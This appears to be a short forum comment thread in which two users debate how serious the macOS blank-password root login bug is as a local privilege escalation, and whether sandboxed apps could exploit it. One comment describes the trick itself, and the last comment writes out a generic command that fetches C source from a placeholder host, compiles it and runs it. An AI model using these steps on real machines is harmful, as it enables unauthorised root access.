5 ms·
LPE matters a lot for enterprise and educational customers. What do you mean by exploited from within the sandbox? This is exploitable from any login prompt wh
by platinumrad 9y ago
LPE matters a lot for enterprise and educational customers.
What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell.
- ryanlol 9y ago>LPE matters a lot for enterprise and educational customers. Surely not. In real life LPE bugs are far too common to matter a lot to anyone. >What do you mean by exploited from within the sandbox? This is exploitable from any login prompt where the user has the ability to enter a username, including ones in the shell. I'm not familiar enough with the OS X sandbox, but I would guess that sandboxed applications aren't allowed to fill in login prompts. I might be wrong though.
- platinumrad 9y ago>I'm not familiar enough with the OS X sandbox, but I would guess that sandboxed applications aren't allowed to fill in login prompts. I might be wrong though. Oh, right. I tend to kind of forget that the App Store serves any other purpose than to deliver software updates as most of the applications on my Mac are from other sources. Yes, I agree that sandboxed apps are almost certainly prohibited from filling in login prompts by default. There does appear to be a system by which sandboxed apps can ask for addition permissions but I'm not an OS X/macOS application developer so I have no idea how this permissions system works. >Surely not. In real life LPE bugs are far too common to matter a lot to anyone. LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times.
- ryanlol 9y ago>LPE bugs might be common but they're rarely as extremely straightforward as typing "root" into a login prompt with no password and pressing enter a few times. Often enough a `wget http://xxx.xxx/xxx.c&&gcc http://xxx.xxx/xxx.c&&gcc xxx.c&&./a.out` will suffice. I'm not convinced that the ease of exploitation makes this bug particularly serious as a LPE.